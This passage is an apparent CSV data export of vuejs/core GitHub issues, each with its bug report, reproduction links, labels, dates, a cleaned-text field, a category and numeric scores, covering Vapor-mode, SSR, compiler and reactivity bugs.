I found this error after playing with https://github.com/vuejs/core/pull/14273. T... [TRUNCATED]",,2026-01-13 21:51:32+00:00,2026-01-14 00:57:51+00:00,1,nan,0.1294,vapor text is incorrectly escaped vue version beta link to render text in a vapor component with potentially dangerous characters like or what is expected text should be rendered normally what is actually happening characters like and are escaped to strings and presumably this is true for all dangerous characters but i haven t checked them all system info any additional comments i found this error after playing with t truncated,others,-0.5023
vuejs/core,3795354035,The behavior of `defineModel` is inconsistent with the documentation,"### Vue version

3.5.13

### Link to minimal reproduction

https://codesandbox.io/p/devbox/5qrl63

### Steps to reproduce

click `+1` button.

### What is expected?

The number after `update count` increases.
According to the documentation, modifying `v-model` triggers the `@update:model-value` event, which causes `updateCount` to increment.

### What is actually happening?

`updateCount` remains unchanged, and `@update:model-value` is not invoked.


### System Info

```shell

```

### Any additional comments?

When using `shallowRef` as v-model, the `value` property of the object defined by `defineModel` is a regular object without reactivity. In this case, only `emit(‘update:modelValue’)` can correctly update the model.",,2026-01-09 03:48:31+00:00,2026-01-09 05:53:42+00:00,1,nan,0.0869,the behavior of is inconsistent with the documentation vue version link to click button what is expected the number after increases according to the documentation modifying triggers the event which causes to increment what is actually happening remains unchanged and is not invoked system info any additional comments when using as v model the property of the object defined by is a regular object without reactivity in this case only can correctly update the model,documentation,0.0772
vuejs/core,3790568160,Reactive Props Destructure: Prop is not defined outside a `for...of` loop that uses the  same variable name,"### Vue version

3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#eNrNUlFv2jAQ/itXv5hKKKjrtgcWkBjKViYK1UDaJIwmFC40XWJHtsOQovz3nR0IbOv6OO0lyt333d3nu69io6II9iWyPgtNrNPCgkFbFkMh07xQ2kIFGhOoIdEqB05U3kJjlRfHfNBzgetEsJCxksZCbnYwcOUdfodZpuCL0tn2il8LGfaaaTSHAot5kW0sUgQQ+rZUOxDsokww6KeyKC2lV3wxv494F/h9tFiMPkZ8TXCPysPeRS/WZdaQlCTdBU9GSXpk5SYIFtOINEM9L2xKUgXrg0cctqGRPz75nNUldk/5+BHj78/kn8zB5QR70GhQ71GwFrMbvUPbwNFihgf6b8FcbcuM2C+An9GorHQaG9r7Um5J9gXPq534e6RytzTRwaI0p0c5oY5Ze75gdB+33b89/Sz3Nnjt64SsaYun2/7uEsg20p3JUhvnGGlRJ5sY4UGrwjR96ZB9MFaTuncu9jc8ZVZrytGQk2Oqo2f4XTSdzq/owp5OmRWfTcb+5NHXMYHRbMnXZMsBbDFJJfqJof8OO9fUVchEaejA2YoqOXa7bpQ5RGUYZGrXaY3UdVRX36pqKbP5Ej6MJlPiNDprx3vJyY83w+pIrcMeRb8Y9LjYm/92sxXU50X+ucfn1nixo3+5x2971M70tMbb4E3w6i2rfwJ+CZkN

### Steps to reproduce

In the minimal reproduction example:

1. Destructure variables from `defineProps`: `const { msg = 'HELLO!', input = ['NICE', 'EXCELLENT'] } = defineProps<Props>();`
2. Declare a `for...of` loop that reuses a destructured prop name: ```for (const msg of input) {
  console.log('MESSAGE', msg);
}```
3. After the loop, the original variable from props is now `undefined`

### What is expected?

The component should execute without errors. 

The `console.log` statement outside the loop should print without errors.

### What is actually happening?

The script fails with an `ReferenceError: msg is not defined` at the `console.log` statement that occurs after the `for...of` loop.

### System Info

```shell
System:
... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug",2026-01-07 22:28:02+00:00,2026-01-19 00:43:17+00:00,0,"scope: sfc,:hammer: p3-minor-bug",11.0939,reactive props destructure prop is not defined outside a loop that uses the same variable name vue version link to in the example destructure variables from declare a loop that reuses a destructured prop name after the loop the original variable from props is now what is expected the component should execute without errors the statement outside the loop should print without errors what is actually happening the script fails with an at the statement that occurs after the loop system info shell system truncated,bug,0.3761
vuejs/core,3788577841,Type based boolen prop declaration compiles to JS string when use imported TS type,"### Vue version

^3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNrtVdtu2kAQ/ZWVH2oiJbaqNKpKHdpQRWp6SaImah/qKDJ4MJvau9u9UCLCv3dmjQkQoFUfIlWKkBA713Nm5yyT4EipaOQgaAeJ6WuuLDNgnWJlJorDNLAmDTqp4JWS2rIJ0zBgUzbQsmIhpoVz1/E4q1QJ37gddl0xi4jiZTN1Cl+vy5HObkirPU0mffpSGMu4UM6yQ0LUCsOdVCRxTQDh4sECFsgs4ImxZAXdaK+SOZTIz1dJA6Tb82eoA9Gi4afjGvJOskLiQcUZ9n8vWhfAukm8ADvYxekj1wEvohsjBV7RhFqnQV9Wipegz5TlOIs0aDPvIV9WlvLXB2+z2sFuY+8Pof9jjf3GjMmWBucaDOgRopz7bKYLQCLkPr44hTH+njuRrCNOW5xfwMjSEcY6rOtEjrAX4jzaE78NXBSX5nhsQZiGFAGlyKmPTwPcgXdbqN/D3Y9e+LxUTHGKa5fp7xbe3irArT+hC31/+fnTkbWa95wFs6KCVMQxiwUuwHXN3cRv0RNrJyyvYC+XVZxzYxcNUR5hN0r0bbpSlpAJboa41b36wO5YSFMI6ccgK40XgQ+vpwb5JR0O10H8HjbrFl4x7LLQ4I7hVcCAC8hn5S6yCqhU19lTaZviW5EQ6xoK9e5mBs61VAZz/JWQ6017PTDyhVcUhdveh6Esc9CbghdC6hzk0jCjnMVBEE1XtNlMIoZZyVBS9pYZLCiKXWaQKOODpQrbZ0ctF6I3TAo7n31cbkzziv2scBHn01oakn8i2jNwZOiXmTGbMHknAZqyZytTv38Y1ax+fb/emfjvTusPr2TOR6zte6AQfJnIn7wiSGOJ6sxUxHquSGLV2I3KRAdnRCPyABg3qMxJDSZqpheNstLB2aC1E1l54Tm3dth0yhAVVfAoUCej1bfQv4YP/0ueRPz/ivixFbz8aDyJ+JEVjPq9HoGm/3ZU7X50ED1/STZrvs6tB9GraD+Y/gbbg7jR

### Steps to reproduce

1. Open link with example
2. Check on the UI result of ""required"" compilation (ExampleWithoutBug.vue) 
3. Check on the UI result of ""required"" compilation (ExampleWithBug.vue) 

### What is expected?

`required` prop in both of examples compiles to JS boolean type

### What is actually happening?

`required` prop in ExampleWithBug.vue compiles to JS empty string

### System Info

```shell
System:
  ... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug",2026-01-07 12:33:10+00:00,2026-01-19 00:42:26+00:00,0,"scope: sfc,:hammer: p3-minor-bug",11.5064,type based boolen prop declaration compiles to js string when use imported ts type vue version link to open link with example check on the ui result of required compilation examplewithoutbug vue check on the ui result of required compilation examplewithbug vue what is expected prop in both of examples compiles to js boolean type what is actually happening prop in examplewithbug vue compiles to js empty string system info shell system truncated,bug,-0.2023
vuejs/core,3787249669,Creating vnode in computed causes errors.,"### Vue version

3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01v00AQ/SsjX+KoqY0ocDBORIkaCQ6lAsQFI2TsSbKtvbvaDxPJyn9nduw4OdAeEu3OzHvz5u24j261TjqPURbltjJCO7DovIamlLtlETl7KKJVIUWrlXHQg8HtAirVau+wXsCeLgZLhz/uVY1whK1RLcyIcTaB1lQ9xpM0XEJDSheyUtI62KxhCbGew3IFcV6LbrVZZ9fXvU4q5aU75mmIzd+fERwnEImJXw2JU6qTQcdykhjHzNsXEgZY0pWNR8YAtaPm6cgNxOe8kbCPN+sF9FyeXaKO80KGX54OXpExdHHY6oYsoBsA6w8HOv7xzikJH6pGVE9kJjNdXZGhXtcEyNOhgmkYwVZlNIlD6QjB0xQRSWRuNiK0v2gZLeiRCLEVu+TRKkkvycOGdq0WDZov2gnypoiywYaQK5tG/f3MMWc8Lk7xao/V03/ij2EPMjo8GLRoOhI15VxpduiG9N23ezzQeUq2qvYNVb+Q/IpWNT5oHMo+elmT7Is6VvuJt0nI3Xd7dyB/7GmoIDRUHrmeTPMYfHxu9LPcm+QN4+hRycXTZj7/KYQvwRSyxq2QOFLHfQgBCLlHI9ytc8ZmsC0bS+ZRhtaF/s+wB6O0jX/Oxjee/eL8eaHG4oulYnpeK96OPDyrkoSFTFjeKmYqonQ1LggTTgQ02u8OTbCLRrtJ3iav30XHf8NMVjc=

### Steps to reproduce

The error appears when clicking the ""update"" button.

### What is expected?

I generated a vnode in computed and then completed the vnode rendering in <component />. I know that passing a function would be a better choice, but <component /> itself supports vnode. I just don't understand why the vnode causes an error when it appears in computed.

### What is actually happening?

Using the h function does not cause errors, but if using JSX which compiles to createVNode, the error appears. This is a working example: [link1](https://play.vuejs.org/#eNp9U01v00AQ/SsjX+KoqY0ocDBORIkaCQ6lAsQFI2TsSbKtvbvaDxPJyn9nduw4OdAeEu3OzHsz8/a5j261TjqPURbltjJCO7DovIamlLtlETl7KKJVIUWrlXHQg8HtAirVau+w... [TRUNCATED]",,2026-01-07 03:50:05+00:00,2026-01-07 08:40:35+00:00,4,nan,0.2017,creating vnode in computed causes errors vue version link to the error appears when clicking the update button what is expected i generated a vnode in computed and then completed the vnode rendering in i know that passing a function would be a better choice but itself supports vnode i just don t understand why the vnode causes an error when it appears in computed what is actually happening using the h function does not cause errors but if using jsx which compiles to createvnode the error appears this is a working example link truncated,bug,-0.8402
vuejs/core,3780306352,"Transition with v-on=""obj"" fails with Vapor","### Vue version

3.6.0-beta.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UcFqAjEQ/ZWQiwqaLbX0IKvQiof20JbWY6Ck63SNzSYhmd0K4r93NsuqhyLsYee9N5M38w78wXvR1MBnPI9F0B5ZBKw9a5R3YSFt4WxEZnREsBAim7ODtIyBRQjDUVcw1qqcAWFcORwkbjBqmaO09OVZN5rGUYFQeaMQqGIsXwdlo0btLFPegwqsmTg7l/z0pORJSVq/WG612eSZ73qzczMBeXYxmY85RnL1rUuxi87Sfsmq5IWrvDYQXn3bR9Nn/RKSK2Pc73PCMNQw7vFiC8XPP/gu7ltM8rcAEUIDkp84VKEE7OjVxwvs6f9EVm5TG1JfId+BLlq3HjvZY203ZPtCl9w+VZQTaluu42pPB4v9Uq3RFEHSS04hL6+sfrY7FXd9dHTFz4YiIDUdcCruxc3kC1CJW378A1cIvLQ=

### Steps to reproduce

Opening the Playground should lead to `enter` being logged in the console. This currently doesn't happen.

- It works correctly if the `vapor` attribute is removed.
- It also works if `@enter=""listeners.enter""` is used instead of `v-on=""listeners""`.

TransitionGroup seems to have the same problem.",":hammer: p3-minor-bug,scope: vapor",2026-01-05 06:15:41+00:00,2026-01-06 03:21:25+00:00,1,":hammer: p3-minor-bug,scope: vapor",0.879,transition with v on obj fails with vapor vue version beta link to opening the playground should lead to being logged in the console this currently doesn t happen it works correctly if the attribute is removed it also works if is used instead of transitiongroup seems to have the same problem,bug,-0.6705
vuejs/core,3779267640,"redundant ref=""[object Object]"" attribute rendered in custom element on SSR","### Vue version

v3.5.26@aac7e18

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNp9Uk1PwzAM/StRLh1S6Q5wKgMJ0CRAfAk45lJ17hponSpxYWjqf8dxN+gByCWJn5/z8uytPu+67L0HnetFKL3tSAWgvjszaNvOeVJ3n5eOTwhIqvKuVUk2n8SSE4MGF/ORzDS+ELRdUxDwTanFtMCcQ4v5BNepplA6rOw6ew0OWcc2sowumWQb8A8dWYfB6FwJErGiadzHjcTI95Du42UN5dsv8dewiTGjHz0E8O9g9DdGhV8DjfDy+R42fP4GW7fqG87+B3yC4Jo+ahzTLnpcsexJnqi9Fjctrl/CckOAYf+pKDRmDpJvNDcj+vXX13/kHmXHwjM4sIsTlzMKbOOufVu1gsqi1BQ0VXWqQi2inqBSw66r/G4Suwcb4TGr6BvZp+yZCMGihVwly7IuPIVElFuswVs6J/IhV1XRhNF/GafZwf4H3OtAyjtH6nQiY3YgcxQzPBM8KqacygDFVc+S9vMwjsQ4dOm+3Eiocqm4czwuiwj+6uXulmXWwI+MIuMa4lOj33LUwxd+Zf66

### Steps to reproduce

When I use template ref on a custom element in SSR mode. It will render a `ref=""[object Object]""` attribute unexpectedly:
```html
<my-component ref=""[object Object]"">hello</my-component>
```

### What is expected?

```html
<my-component>hello</my-component>
```

### What is actually happening?

```html
<my-component ref=""[object Object]"">hello</my-component>
```

### System Info

```shell

```

### Any additional comments?

originally posted in https://github.com/nuxt/nuxt/issues/34016
The reproduction on Vue playground is provided by @danielroe ",":hammer: p3-minor-bug,scope:hydration",2026-01-04 13:52:04+00:00,2026-01-19 00:52:45+00:00,5,":hammer: p3-minor-bug,scope:hydration",14.4588,redundant ref object object attribute rendered in custom element on ssr vue version v aac e link to when i use template ref on a custom element in ssr mode it will render a attribute unexpectedly what is expected what is actually happening system info any additional comments originally posted in the reproduction on vue playground is provided by danielroe,bug,0.0
vuejs/core,3776816197,模版中绑定style值，使用calc但是不知为何现在不起作用了，我很确定vue3 3.4.19版本都还可以使用，但是我最近使用新版则不行了,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U9tu00AQ/ZVlBXIiBSdcH4wTbqoEPABqkXjxQ117nGy73rX2khpZ/gu+gce+g4T4Gcp3MOutHadqu4oc7+yZM+fMjhv6uqrCrQUa0VhnilVmlQhWVlIZ0hAjD6HQM6KgmGWyrKyBnLSkULIkAWYFLxIBdQfOoUgtx6REEKLB2Goy9RtCMim0IUy/gzQHdWRYdrZEykmRcg3TMWZzhfjGgSwx5ktOkGq58mweV4KwX1luNoja4w23KbfgKV+SRRQ8fva8qgMXUChKiV6TW+eOISLHWcqzyaPF4gF5SO43A3c7PZ7twBtg642JAsQh4eggk1yqKFCQj6MnUqEmhFc10ZKzHOvnnQ63WmxcO8XHznq2ScXauR6ZdesGe8t7t3pu/d91r2EY+ruc7GVOB8Gjxg8xr2jEiw/8xfNhUHBjoKx4agB3hMQ525JIO5ZlQkecCV01zd7ttm08R7RPO7HGSEFeZdyNRkKvKtPV3z8X/77/RNzlxe/LXz/iuUdiVjwfKtMZNRqbWLB1eKqlwFnujCMPDhDjoD5VhmGTExr1LUloyrk8/9DFjLK9a1cbsrMb4qe6drGEflagQW1R3nBmUrUG448Pjj5Cje/DYSlz6zpwx+Eh4IhYp9HD3liRo+wRrlP7vvsumVh/0Qe1AaF7U05od0EdPqH4ab69w/pO7pPwaX+xtP0PoA5VQA==

### Steps to reproduce

<script>
import { toRefs, ref,computed } from 'vue';
export default {
  setup() {
    const isHeaderStick=ref(false)
    const headerStyle = computed(() => {
  const menuWidth = isHeaderStick.value
    ? 0:'256px'
  return {
        width: `calc(100% - ${menuWidth})`,
        height:'100px',
        color:'red',
        border:'1px solid red'
      };
});
    const change = () => {
      isHeaderStick.value=!isHeaderStick.value
    }
    return {
      ...toRefs(isHeaderStick),
      headerStyle,
      change
    }
  }
}
</script>

<template>
  <div :style=""headerStyle"">{{ headerStyle }}</div>
  <button @click=""change"">修改文字颜色</button>
</template>

### What is expected?

希望依然可以像原... [TRUNCATED]",,2026-01-02 17:21:30+00:00,2026-01-03 06:03:26+00:00,3,nan,0.5291,style calc vue vue version link to import torefs ref computed from vue export default setup const isheaderstick ref false const headerstyle computed const menuwidth isheaderstick value px return width height px color red border px solid red const change isheaderstick value isheaderstick value return torefs isheaderstick headerstyle change headerstyle what is expected truncated,others,0.7783
vuejs/core,3773832261,"Runtime error with Vapor, CSS `v-bind` and optional root node","### Vue version

3.6.0-beta.1

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU1LAzEQ/StDLrXQbpWKh7otqBTUg4p6DMg2O1tTs0lIsmul7H93kqW1B+lpd+Z98N5kx26szdoG2YzlXjhpA3gMjYW2sMYtuJY1fQPswGEFHVTO1DAgwYBrroXRPoAwyjiYR8bZwGE5GHKdT3o3cqAhYG1VEZAmgLyULbRjWc05qwrlkTMQqvCeZlJztriX+YRIxM4nR1IaffhRCF4YiyVtMuLDLpqmDDOyXUldnqVpeM11l5JE0YKNWCChruQ623ijqXFSciZMbaVC92yDpEKczXrPiBVKme/HtAuuwdF+Lz5RfP2z3/ht3HH24tCja6ncAQuFW2Po4eXbE27p/wDWpmwUsU+Ar+iNamLGnnbb6JJiH/FS2of0YlKv3/1yG1D7fakYNDK7xOeMXvHuRPW/uNPsMunonnTFjxZd9KQDTrOr7Hy8wlBkF6z7Bc0fw7Q=

### Steps to reproduce

Open the Playground and check the console:

```
TypeError: Cannot read properties of undefined (reading 'nodes')
```

The Playground is using `v-if=""false""` to make the root node optional, but using `v-for=""i in []""` instead also triggers a similar error.",":hammer: p3-minor-bug,scope: vapor",2025-12-31 22:22:13+00:00,2026-01-04 01:11:04+00:00,1,":hammer: p3-minor-bug,scope: vapor",3.1173,runtime error with vapor css and optional root node vue version beta link to open the playground and check the console the playground is using to make the root node optional but using instead also triggers a similar error,bug,-0.7184
vuejs/core,3772760539,Duplicate `_unref` imports in production Vapor builds,"### Vue version

3.6.0-beta.1

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9UkFOwzAQ/IrlS1updaiKOJS0EqAe4AAIOFpCabJtXRzbsp0QFOXvrB019IB6SbK7M6PZnbT0zhhWV0CXNHW5FcYTB74ypM6MtmuuRIlvT1qSa6kt6cjO6pKMWFJ5IR07uhFXadJTEY6Fh9LIzANWhKSHOcll5tyKUwsFp+t2kOrS5DBHVJqcUbB0/kcCcbk2UGCHIY+0QSzylqSebYUqxrGa3HLVRQeBtKZT6pGodmKP1rTCtSKT01yXRkiwL8YLrRyny14zzDIp9fdT7HlbwfTUzw+Qf/3TP7om9Dh9teDA1sDpMPOZ3YPvx5v3Z2jwexiWuqgkoi8M38BpibfVqofdV6pA22e46PYxxiLU/sNtGg/KnZYKRgOyi3hOMduHC6v/2V2w68jDe+IVT+niAYc/wMJuyB9lMXiuoIlDPLkLz5DrKgDHI0xtNEGlzxpscIdKC3bDrmZb8Bmb0+4Xj+jUAQ==

### Steps to reproduce

Open the Playground, compilation fails.

```
SyntaxError: Identifier '_unref' has already been declared.
```

### Any additional comments?

This isn't specifically a Playground problem, I observed it in a Vite application.

I believe one copy of `_unref` is needed to handle `{{ color }}`, because `color` is a `setup-maybe-ref`. The other is needed to handle the CSS `v-bind`.

It only fails for a production build. During dev the `{{ color }}` binding is handled differently and doesn't use `unref`.",":hammer: p3-minor-bug,scope: vapor",2025-12-31 12:58:23+00:00,2026-01-04 01:10:25+00:00,1,":hammer: p3-minor-bug,scope: vapor",3.5084,duplicate imports in production vapor builds vue version beta link to open the playground compilation fails any additional comments this isn t specifically a playground problem i observed it in a vite application i believe one copy of is needed to handle because is a the other is needed to handle the css it only fails for a production build during dev the binding is handled differently and doesn t use,bug,-0.8074
vuejs/core,3771938301,The render code compiled using Vue compiler-dom encounters an error in the browser console during runtime,"### Vue version

3.5.26

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-itypu19n?file=index.html

### Steps to reproduce

The code simplifies the actual scenario by returning the code string of the ""render"" method through the ""compute()"" method in Vue compiler-dom for the template part of a loading component, and finally running it through ""vue. global. js"". But the browser console prompts:
---------
<pre>
""[Vue warn]: Property undefined was accessed during render but is not defined on instance. 
at Demo timeout=30 event_id=0 error=false 
at App""
</pre>
---------
What exactly happened here?
(I use Option API)

<img width=""1408"" height=""1252"" alt=""Image"" src=""https://github.com/user-attachments/assets/daeaa8e7-1563-484c-9fe8-967dac635779"" />

### What is expected?

no warn

### What is actually happening?

？

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-12-31 04:12:51+00:00,2026-01-01 13:25:52+00:00,1,nan,1.384,the render code compiled using vue compiler dom encounters an error in the browser console during runtime vue version link to the code simplifies the actual scenario by returning the code string of the render method through the compute method in vue compiler dom for the template part of a loading component and finally running it through vue global js but the browser console prompts vue warn property undefined was accessed during render but is not defined on instance at demo timeout event id error false at app what exactly happened here i use option api what is expected no warn what is actually happening system info any additional comments no response,bug,-0.9153
vuejs/core,3770315339,Props modifiers in render functions do not handled properly on SSR,"### Vue version

v3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNp9kd9LwzAQx/+VIy/ZoLaIPs0qqEzQBxX1MQilva2daRKSdCuU/u9e0m3uQX0IyX3vc7lfA7s1Jt12yBYsd6VtjAeHvjM3QjWt0dbDvW4NrKxugadZMPiVUHk2wYSR4bE1svBIFkAemIyeeXais4R5V2q1atbpxmlF+YZAC1YS3ki0L8Y3WjnBFhA9wVdIqXdPUfO2w+SglzWWX7/oG9cHTbBXiw7tFgU7+nxh1+gn9/L9GXt6H52trjpJ9D/ON3RadqHGCbvrVEVln3Cx2sc4tUatP9yy96jcoalQaCDHyAtGQw+T+qv1n3Iv0ssYJ9RIUwwxqXc0v/1+hgpXjYp/aYXKJ1CP+31RCi4srYgO9pEmuOhkvE+DZkNgYNr9bL63ACzZVsFsfn0D9YzX5zyBgX9WhS/OCu8tXwCvkfomnafGahOUnbay4tQp8IdOlaG5QkJYdEzG59P3NAm6xzkbvwF6Z9cj

### Steps to reproduce

1. Open the Vue SFC Playground reproduction
2. Enable SSR and switch preview tab to ""SSR Output"" .
3. Inspect the rendered HTML

### What is expected?

According to Vue docs (https://vuejs.org/guide/extras/render-function) we can pass props modifiers such as `.prop` and `.attr` to `h()` function to pick the way how keys should be assigned (either as attribute or prop).

### What is actually happening?

In SSR mode, when passing props modifiers such as `^` or `.` to `h()` function, they are not proccessed and rendered as raw string.

For example is we specify 
```
h('h1', {'^data-attr': 'hello', '.prop': 'world' }, 'Functional component')
```
We will get the following HTML output
```
<h1 ^data-attr=""hello"" .prop=""world"">Functional component</h1>
```

 It only happens when SSR is enabled

### System Info

```shell

```

### Any additional comments?

Reported in https://github.com/nuxt/nuxt/is... [TRUNCATED]","scope: ssr,:hammer: p3-minor-bug",2025-12-30 14:07:31+00:00,2026-01-19 00:51:16+00:00,0,"scope: ssr,:hammer: p3-minor-bug",19.447,props modifiers in render functions do not handled properly on ssr vue version v link to open the vue sfc playground reproduction enable ssr and switch preview tab to ssr output inspect the rendered html what is expected according to vue docs we can pass props modifiers such as and to function to pick the way how keys should be assigned either as attribute or prop what is actually happening in ssr mode when passing props modifiers such as or to function they are not proccessed and rendered as raw string for example is we specify we will get the following html output it only happens when ssr is enabled system info any additional comments reported in truncated,bug,0.0
vuejs/core,3769922148,[plugin:vite:vue] [@vue/compiler-sfc] Failed to resolve index type into finite keys,"### Vue version

v3.5.26

### Link to minimal reproduction

https://play.vuejs.org/#eNrtVF1v0zAU/SsXvwykqRGCpyoNArQHGB/TViqheUJucpO4dWzLdvqh0f/OjdO1nYgmwfOeIp97fHN8fI/v2XtrR6sW2ZilPnfSBvAYWgtK6GrCWfCcZVwnCXwxuVAQthahwFJqGaTRHoIBsTKygLkza48O5q1UBUjvW/SwlqHu98jGGhc8lM40cEZ/POM6Fq6xTKcZTOCea4CVUC2OYcr1jus946vYzvFAm8Lv/Z4D4aYWSpn1D712wj7ud3sJUsMSt6aE6R01vr28A9wE1IU/Npa6JOWzDN7BDHrSXgBuOtnUI6ArRY5QG7P0V85Y3/9AjI9tdNvM0ZEugPkwnA/DxTBMRgzB5TBcDcP1MCyH4cUwvByG1RB86lu8ntzQ3WvUobdt8vd9HU2Nl8p1TqMVwO75cd4w1tPHzbKXr7hOk35y4940YGOVCBgFpvXr7KdpoaABleFFmtA64jZ+AGbSywCpgNphSfNeh2D9OEloQBd+ZFyVcAZBuAoDVX/NKRZLQhwqWmpjLGp0FJEDP01E1oXCoSgg1Nj/pjB525Bo0YUmCkg6BWlyopaWPmwVgs+pbZHRsbolVdg55ZAsKWU1WnijKaxx9jjr3JAK3Xcb08jZuJ/KrhY9/hyx4Fo8f8DzGvPlAL7wmw7j7MohBXmFnB1qvQN9+eLmGwXopNiYolXEfqJ4jd6oNh4+0j60uiDZJ7yo9lN8JKSupv6iy6h/OFQntGPuIp8zsvvjE0c/yn0zehv30Vh2LtI4joIn/54ftOcH7X8etH98y9juD0SVi8w=

### Steps to reproduce

```ts
import type { MaybeRef, ShallowUnwrapRef } from 'vue'

export interface hooksProps {
  a: MaybeRef<number>
  b: MaybeRef<number>
  c: MaybeRef<number>
  d: MaybeRef<number>
  e: MaybeRef<number>
  f: MaybeRef<number>
  g: MaybeRef<number>
  h: MaybeRef<number>
  i: MaybeRef<number>
  j: MaybeRef<number>
  k: MaybeRef<number>
  l: MaybeRef<number>
}

export type componentProps = ShallowUnwrapRef<hooksProps>
```

### What is expected?

use the UnwrapRef tool exported from vue

### What is actually happening?

compile error

### System Info

```shell
System:
    OS: macOS 15.7.3
    C... [TRUNCATED]","scope: sfc,has workaround",2025-12-30 11:46:05+00:00,2026-01-01 13:29:42+00:00,1,"scope: sfc,has workaround",2.072,plugin vite vue vue compiler sfc failed to resolve index type into finite keys vue version v link to what is expected use the unwrapref tool exported from vue what is actually happening compile error system info shell system os macos c truncated,others,-0.5859
vuejs/core,3761681407,[Vapor] Incorrect merging of single prototype method called in various signatures,"### Vue version

3.6.0-beta.1

### Link to minimal reproduction

https://play.vuejs.org/#eNrFU01v1DAQ/SuDhZSutElASBxCuhKgHuAAFXC0RJ1kduuS2JbthEVR/jtj76YEqV3tperJnnlvxm8+PLL3xmRDj6xgpautNB4c+t5AK9TukjPvOINBGG03XMmOTg/XVhsHW6s7SLI8WiFFwhVXtVbOg2zgEjgTVc0ZV2V+yEwZyPDYmVZ4JAugbOQQL3R9kabgbxFq4RD0Fkx8Jk1n/PBsIRuSJRuSlT8WSSI87v0RrXrvtdqMI8nKLNLjNV5wVnG2Dho5W8E0lfmRdlYQlfVf0EJl0KLt0ZDK9B78H4OhlUESg0KJLpiLvEmVrCERySrAg2j7gN+8HB+iTA1ub2Lx86NlfmhimS9ay9Y0OurDVu6yO6cVzXcMZNKuOyNbtF+NlzQszgqISMBE2+rfn6PP2x7Xs7++xfrXA/47tw8+zq4tOrQDUntmzAu7Qyo4wFffv8Ti78FON31L7BPgN3S67YPGA+1DrxqSveBFtZ/iTkq1++Gu9h6Vm4sKQgNzinzOaEM/nij9n9w32dsYx9VEXbxf77N+CA1HKowxZUwtmwKct6TvHeXbXKzoOP8/POMGLxxPusWnNvjngDbMk1pPQ8lepRV6kb1m019Y3IA3

### Steps to reproduce

1\. Open the link
2\. There is an error
(3. Uncomment or comment out to check error)
(4. Remove vapor attribute in script tag to check no error)


### What is expected?

No error

Functions should not be merged like:
```js
const _id = $props.id
_setProp(n0, ""name"", _id.replace('b', 'a'))
_setValue(n0, `${_id.replace('b', 'a')}def`)
```
or same call signature in template literals, result is still merged like:
```js
const __id_replace = $props.id.replace('b', 'a')
_setProp(n0, ""name"", __id_replace)
_setValue(n0, `${__id_replace}def`)
```


### What is actually happening?

On Firefox, it throws error: `String.prototype.replace called on incompatible undefined`
On Chrome, it throws error: `String.prototype.replace called on null or undefined` or `_id_replace ... [TRUNCATED]","scope: compiler,:hammer: p3-minor-bug,scope: vapor",2025-12-25 09:12:20+00:00,2025-12-25 13:17:41+00:00,1,"scope: compiler,:hammer: p3-minor-bug,scope: vapor",0.1704,vapor incorrect merging of single prototype method called in various signatures vue version beta link to open the link there is an error uncomment or comment out to check error remove vapor attribute in script tag to check no error what is expected no error functions should not be merged like or same call signature in template literals result is still merged like what is actually happening on firefox it throws error on chrome it throws error or id replace truncated,bug,-0.9739
vuejs/core,3761456035,<script setup vapor>: component template ref is always undefined,"### Vue version

3.6.0-beta.1

### Link to minimal reproduction

https://play.vuejs.org/#eNq9Ustu2zAQ/BWCl8hwSqVI0UMgqy/4kB7aos2RQKFIK5UJRRJ8qC4M/XuXpOW4QOve4oNF7g5nZ3dnT98Zw6YA9IZWHkYjGw81VwR/VSemwzFdP+jREAv9htMWj5yS8jR9H7zXirxtpWgfEdN0Haf1utVB+arM2YW5zNRVeVISr661wnjiwAdDZKMGpPEOC02N0RYxYsSvJ/sog8ykt3okF6j+4phKInOclfESm8M0V61WzpOonGzi++oW741q4e6Xgcrjn+7T87ouVk8PsA3EFyuyqck+y48JLYFJPRSRj02NDLAiZUmC6qAXCroFuWTfMCSKvHNsOzeKDdFLbBD5ejGwB6cVriEVySMWEuxn4wXW4/RmKY+jlVL//Jhi3ga4XOLtD2gf/xJ/cLsY4/SLBQd2Ak6POd/YAXxOb799gh2ej8lRd0Ei+kzyK+AsQtSYYe9xBCj7BJfU3qb1CDXcue3Og3JLU1FoRM4JzymuKy7hX60/yb1mr9I7HClOcVn1/32cDImM+3wiMzI8h4nP23dxZ1SU7FlcoVnOWBCB2VnrdTIVPzhvuzPaQXHARf1qRqY/Pfd9Ahs3gNO6Zq/Z1Yt78A17Seff5DdVBQ==

### Steps to reproduce

App.vue
```vue
<template>
  <div>
    <Comp ref=""comp"" />
    <button @click=""addB"">+b</button>
  </div>
</template>

<script setup lang=""ts"" vapor>
import { ref } from 'vue'
import Comp from './Comp.vue'

const comp = ref<InstanceType<typeof Comp>>()

const addB = () => {
  console.log(comp.value) // is undefined in vapor mode
  comp.value?.add()
}
</script>
```

### What is expected?

In vapor mode:

comp.value should reference the child component instance after mount

Exposed methods (defineExpose) should be callable

Behavior should be consistent with non-vapor mode, or clearly documented if unsupported

### What is actually happening?

In vapor mode:

comp.value === undefined

Component instance and exposed methods are not accessible

In non-vapor mo... [TRUNCATED]",":hammer: p3-minor-bug,scope: vapor,interop",2025-12-25 05:56:33+00:00,2025-12-25 13:21:45+00:00,1,":hammer: p3-minor-bug,scope: vapor,interop",0.3092,component template ref is always undefined vue version beta link to app vue what is expected in vapor mode comp value should reference the child component instance after mount exposed methods defineexpose should be callable behavior should be consistent with non vapor mode or clearly documented if unsupported what is actually happening in vapor mode comp value undefined component instance and exposed methods are not accessible in non vapor mo truncated,bug,0.4939
vuejs/core,3753177485,[plugin:vite:vue] [@vue/compiler-sfc] Unresolvable type reference or unsupported built-in utility type,"### Vue version

3.5.26

### Link to minimal reproduction

